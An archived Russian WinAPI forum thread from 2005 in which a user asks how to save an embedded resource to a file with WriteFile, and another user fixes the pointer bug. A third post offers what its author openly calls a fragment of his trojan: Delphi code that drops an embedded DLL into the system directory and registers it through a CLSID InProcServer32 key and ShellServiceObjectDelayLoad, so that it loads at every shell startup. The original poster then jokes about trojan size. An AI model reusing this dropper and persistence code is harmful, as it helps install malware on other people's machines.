Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2005.06.14;
Скачать: [xml.tar.bz2];

Вниз

Как сохранить ресурс в файл?   Найти похожие ветки 

 
lpVoid ©   (2005-04-21 13:56) [0]

Написал вот такой код. Ресурс находится, в память загружается, а вот WriteFile ругается что буфер неправильный. Ошибка такая: ERROR_INVALID_USER_BUFFER = 1784


 hFile:=CreateFile(PChar(FileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 hRes:=FindResource(0, "DATA", RT_RCDATA);
 szRes:=SizeOfResource(0, hRes);
 hResMem:=LoadResource(0, hRes);
 pBuffer:=LockResource(hResMem);
 WriteFile(hFile, pBuffer, szRes, WriteCount, 0);
 CloseHandle(hSrcFile);


 
mgcr ©   (2005-04-21 14:56) [1]

WriteFile(hFile, pBuffer^, szRes, WriteCount, 0);


 
Dot   (2005-04-21 15:16) [2]

а не подскажете типы данных?
то есть можно тот кусок кода где VAR увидеть?


 
lpVoid ©   (2005-04-21 16:22) [3]

Спасибо, mgcr. Стормозил я чего-то.


 
lock95   (2005-04-22 20:51) [4]

Маленький пример как ресурс сохранит и выгрузить (уолюсь фрагмент моего троянчика)   ;)

program Project1;

uses
  Windows, SysUtils, Classes, Registry;

{$R sheldll.RES}//наш ресурс

var
MyDll1: TResourceStream;
reg:TRegistry;
szPath: array [0..MAX_PATH -1] of Char;
Sysdir:string;

begin

 GetSystemDirectory(szPath, MAX_PATH); //узнаемпуть к системной дирректории
 Sysdir:=StrPas(szPath)+"\sheldll.dll";   //   преобразуем в стр + \sheldll.dll

     MyDll1:=TResourceStream.Create(hInstance, "MYDLL", RT_RCDATA);
   try
   MyDll1.SaveToFile(Sysdir);
  // Finally
    except          //пуска не глючит
     MyDll1.Free;
  end; {try}

   reg:=Tregistry.create;
   reg.rootkey:=HKEY_CLASSES_ROOT;
 try
   reg.openkey ("CLSID\{69502F20-E8CD-11D5-A784-0050BF44BD3B}\InProcServer32", true);
   reg.writestring("",Sysdir);
   reg.closekey;
   reg.rootkey:=HKEY_LOCAL_MACHINE;
   reg.openkey("Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad", true);
   reg.writestring("MyDllLoade","{69502F20-E8CD-11D5-A784-0050BF44BD3B}");
   reg.closekey;
 finally
   reg.free;
 end; {try}

end.


 
lpVoid ©   (2005-04-22 23:17) [5]

Так конечно проще, но для троянчика это жирновато будет, меньше 150кб никак. :)



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2005.06.14;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.45 MB
Время: 0.036 c
1-1116970660
GanibalLector
2005-05-25 01:37
2005.06.14
Hi,Lo из DWord


3-1115900109
pavel_guzhanov
2005-05-12 16:15
2005.06.14
вопрос про DBGrid


1-1117285735
Malenkii Myk
2005-05-28 17:08
2005.06.14
Программа удаляет саму себя. Реально ?


4-1114495725
magedon
2005-04-26 10:08
2005.06.14
как работать с игровым портом?


14-1116833363
Иксик
2005-05-23 11:29
2005.06.14
Коллега прислал





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский